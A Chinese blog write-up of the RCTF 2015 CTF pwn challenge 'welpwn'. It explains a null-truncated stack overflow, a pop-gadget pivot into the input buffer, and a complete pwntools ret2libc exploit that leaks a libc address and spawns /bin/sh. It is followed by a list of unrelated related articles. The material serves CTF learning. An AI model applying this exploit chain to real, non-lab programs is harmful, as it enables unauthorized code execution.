搬运3:welpwnctf题目
记录一道自己做的ctf题目:welpwn
--RCTF-2015
1.老生常谈checksec查看:

可以看到只开了nx保护,下面我们进入ida下面看看。

发现是一个想rbp-400,rsp+0h的地方read进入恰好0x400的数据,然后调用了echo函数,我们进入echo看看。

发现了一个简化版的strcpy函数,第一反应溢出溢出!但是这里由于在复制过程中遇到’0x00‘会被截断,所以64位下我们打包的p64(pop_rdi)+p64(binsh_addr)+p64(system)可能复制不到一半就胎死腹中了。
所以我们不能直接复制,另外我们想到,如果echo函数里面发生溢出的话,很有可能回合main函数里面的buf首尾相接,我们进入gdb里面看看,随便画一幅图。
进入gdb的echo那里看看stack的情况

输入超过24个a来覆盖掉s2。

这个时候还没有进行for循环呢,我们可以看到rsp-0x20,然后rbp的位置,以及返回地址后面紧跟着的我们输入buf里面的内容,下面我们执行循环

可以看到输入的字符如果足够的的话是完全可以覆盖掉,并且和rbp相接到的

这里我们画出图来看看,所以重点是我们应该如何使用这里的跳转,并且在跳转之后还有我们前面补充的垃圾数据。(ps:在写到这里的时候我有了一个思路就是如何把前面的jink数据加以利用,但是感觉还是难),
我们可以使用四次pop指令一次pop出8个字节的数据,直接pop到我们秀的地方,而这里已经到我们的buf这里了,我们不用受到被’\x00‘截断的限制了,就是用
ret2libc,去找出偏移
exp如下:
from pwn import *#我因为没有下载libcseracher所以加载的是本地libc库,各位
context.log_level = 'debug'
libca=ELF("/lib/x86_64-linux-gnu/libc.so.6")
e=ELF("./welpwn")
pop_24=0x40089c//使用ROPgadget --binary ./welpwn --only 'pop|ret'找到的
pop_rdi=0x4008a3
write_got=e.got["write"]
puts=e.plt["puts"]
p=process("./welpwn")
payload='a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(write_got)+p64(puts)+p64(0x400630)
p.recvuntil("Welcome to RCTF\n")
p.sendline(payload)
p.recvuntil('\x40') #在0x40这里截止是因为我们受到的数据会包含s2的jink数
#据,而我们的0x40恰好是我们输入进去pop_rdi这里的p64打包之后倒序的最后一
#位,所以在这里截止
write_addr = u64(p.recv(6).ljust(8,'\x00'))#读取6字节并且补充我们前导\x00记得补充要在u64解包反倒序之前
print '--'+hex(write_addr)
libc_base=write_addr-libca.symbols['write']
system_add=libc_base+libca.symbols["system"]#在使用libcseracher下我们要用libca.dump,因为没有使用使用symbols
binsh_addr = libc_base + libca.search("/bin/sh").next()
payloado='a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(binsh_addr)+p64(system_add)
p.recvuntil("Welcome to RCTF\n")
p.sendline(payloado)
p.interactive()
找到我们debug过程中的图来看看:

另外附上一篇比我更详细的博客:https://www.cnblogs.com/wangaohui/p/5123992.html
搬运3:welpwnctf题目的更多相关文章
- 近期概况&总结
下午考完英语的学考就要放假啦,是衡中的假期啊QAQ 所以灰常的激动,一点也不想写题(我不会告诉你其实假期只有一个晚上.. 自从CTSC&APIO回来之后就一直在机房颓颓颓,跟着zcg学了很多新 ...
- [置顶] 《算法导论》习题解答搬运&&学习笔记 索引目录
开始学习<算法导论>了,虽然是本大部头,可能很难一下子看完,我还是会慢慢地研究的. 课后的习题和思考有些是很有挑战性的题目,我等蒻菜很难独立解决. 然后发现了Google上有挺全的algo ...
- 货物搬运(move)
货物搬运(move) 题目描述 天地无情人有情,一方有难八方支援!汶川大地震发生后,灾区最紧缺的是救灾帐篷,全国各地支援的帐篷正紧急向灾区运送.假设围绕纹川县有环行排列的n个救灾帐篷的存储点,每个存储 ...
- 《剑指offer》全部题目-含Java实现
1.二维数组中的查找 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序.请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数. publi ...
- python中关于汉诺塔问题和使用turtle库实现其搬运过程
一.汉诺塔问题 汉诺塔(又称河内塔)问题是源于印度一个古老传说的益智玩具.大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘.大梵天命令婆罗门把圆盘从下面开始按 ...
- NOIP练习赛题目5
小象涂色 难度级别:C: 运行时间限制:1000ms: 运行空间限制:262144KB: 代码长度限制:2000000B 试题描述 小象喜欢为箱子涂色.小象现在有c种颜色,编号为0~c-1:还有n个箱 ...
- dp练习(6)——搬运礼物
3409 搬运礼物 CodeVS原创 时间限制: 1 s 空间限制: 64000 KB 题目等级 : 青铜 Bronze 题解 题目描述 Description 小浣熊松松特别喜欢交 ...
- 【题解搬运】PAT_L1-009 N个数求和
从我原来的博客上搬运.原先blog作废. (伪)水题+1,旨在继续摸清这个blog(囧 题目 就是求N个数字的和.麻烦的是,这些数字是以有理数"分子/分母"的形式给出的,你输出的和 ...
- 【题解搬运】PAT_A1016 Phone Bills
从我原来的博客上搬运.原先blog作废. 题目 A long-distance telephone company charges its customers by the following rul ...
随机推荐
- GRE隧道协议
1. GRE协议简介 GRE(General Routing Encapsulation ,通用路由封装)是对某些网络层协议(如IP和IPX)的数据报文进行封装,使这些被封装的报文能够在另一网络层协议 ...
- Tars | 第7篇 TarsJava Subset最终代码的测试方案设计
目录 前言 1. SubsetConf配置项的结构 1.1 SubsetConf 1.2 RatioConfig 1.3 KeyConfig 1.4 KeyRoute 1.5 SubsetConf的结 ...
- WPF 过渡效果
http://blog.csdn.net/lhx527099095/article/details/8005095 先上张效果图看看 如果不如您的法眼 可以移步了 或者有更好的效果 可以留言给我 废话 ...
- Windows Phone 页面之间参数传递方法
目前对WP7开发正在研究,对页面之间参数传递进行了一个小总结,有不正确的地方,欢迎大家指正.. WP7编程采用的技术是Silverlight,页面之间参数传递的方式主要有 通过NavigationCo ...
- EditPlus配置C/C++运行环境
1.安装MinGW和EditPlus 2.打开EditPlus ctrl+1 编译 ctrl+2 运行
- 最长公共前缀 js 实现代码
编写一个函数来查找字符串数组中的最长公共前缀: 输入 : ["abca","abc","abca","abc",&quo ...
- 【PHP数据结构】栈和队列的应用
通过栈和队列的学习,我们似乎会感觉到其实数据结构还是非常简单的嘛.当然,这只是一个开始,我们从顺序表.链表开始,到现在的栈和队列,其实都是为了将来在铺路.在树和图的遍历算法中,都可以见到栈和队列的身影 ...
- Java基础系列(33)- 计算器
package method; import java.util.Scanner; public class Demo09 { static double result; static String ...
- Java基础系列(6)- 注释
注释 平时我们编写代码,在代码量比较少的时候,我们还可以看懂自己写的,但是当项目结构一旦复杂起来,我们就需要用到注释了 注释不会被执行,是给开发人员看的 书写注释是一个非常好的习惯 Java中的注释有 ...
- PHP 流行的框架
Aura Laravel Symphony Yii Zend php components Packagist 最好的组件: Awesome PHP https://www.yiiframework. ...